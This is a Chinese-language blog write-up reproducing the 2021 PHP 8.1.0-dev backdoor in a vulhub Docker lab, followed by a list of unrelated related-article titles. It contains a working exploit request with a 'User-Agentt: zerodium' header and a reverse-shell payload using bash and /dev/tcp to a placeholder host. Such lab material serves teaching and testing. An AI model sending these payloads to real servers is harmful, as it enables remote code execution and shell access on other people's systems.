当前位置: 首页 > article >正文

PHP 8.1.0-dev后门远程命令执行漏洞

#简介

PHP verion 8.1.0-dev于2021年3月28日与后门一起发布,但是后门很快被发现并删除。

#漏洞概述

PHP verion 8.1.0-dev的PHP在服务器上运行,则攻击者可以通过发送User-Agentt标头执行任意代码。

#影响版本

PHP 8.1.0-dev

#环境搭建

新建docker-compose.yml

version: '2'
services:
 web:
   image: vulhub/php:8.1-backdoor
   volumes:
    - ./index.php:/var/www/html/index.php
   ports:
    - "8080:80"

启动环境

docker-compose up -d

#漏洞复现

#poc验证

在header头增加user-agentt字段,值为:zerodiumvar_dump(2*3);

GET / HTTP/1.1
Host: 192.168.81.223:8800
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6
user-agentt: zerodiumvar_dump(2*3);
Connection: close

如果执行了这个表达式,说明存在漏洞

#执行命令反弹shell

GET / HTTP/1.1
Host: 192.168.81.223:8800
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
User-Agentt: zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/ip/6666 0>&1'");
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6
Connection: close

#事件分析与反思

代码中含有”zerodium”字符串,而zerodium是一个专门出售漏洞的网站.在此事件中,官方怀疑黑客攻陷了git.php.net服务器,以PHP作者的名义做了两次代码提交。

#参考文章

https://blog.csdn.net/zy15667076526/article/details/116447864


http://www.kler.cn/news/366753.html

相关文章:

  • 文本预处理操作简述
  • 比例数据可视化(Python实现板块层级图绘制)——Instacart Market Basket Analysis
  • 依赖关系是危险的
  • 【大数据分析与挖掘模型】matlab实现——非线性回归预测模型
  • O2OA如何实现文件跨服务器的备份
  • TensorFlow面试整理-TensorFlow 数据处理
  • 基于Python大数据的王者荣耀战队数据分析及可视化系统
  • 十、SQL 高级技法全解析
  • 【每日一题】LeetCode - 整数转罗马数字
  • 基于SSM美容院管理系统的设计
  • 读取视频指定帧的方式
  • Qt中使用线程之moveToThread
  • Maven 不同环境灵活构建
  • spring-boot-starter-data-redis
  • electron 打包
  • webGL是前端开发的天花板,3D可视化大屏还在天花板以上。
  • 【iOS】使用AFNetworking更方便实现网络请求
  • 大厂项目经理推荐的10款常用的项目管理软件值得你收藏
  • Linux安装Nginx教程(rpm安装方式)
  • 全栈面试题】模块3-9】JavaSE高级 -- Object类、 GC、反射、Socket
  • 2024.10.23华为笔试题解
  • vue文件转AST,并恢复成vue文件(适用于antdv版本升级)
  • git清理本地.git文件夹下的缓存
  • Adobe Media Encoder--将可变帧率视频转为固定帧率
  • 用Python实现中文分词
  • #网络安全#渗透测试# 渗透测试应用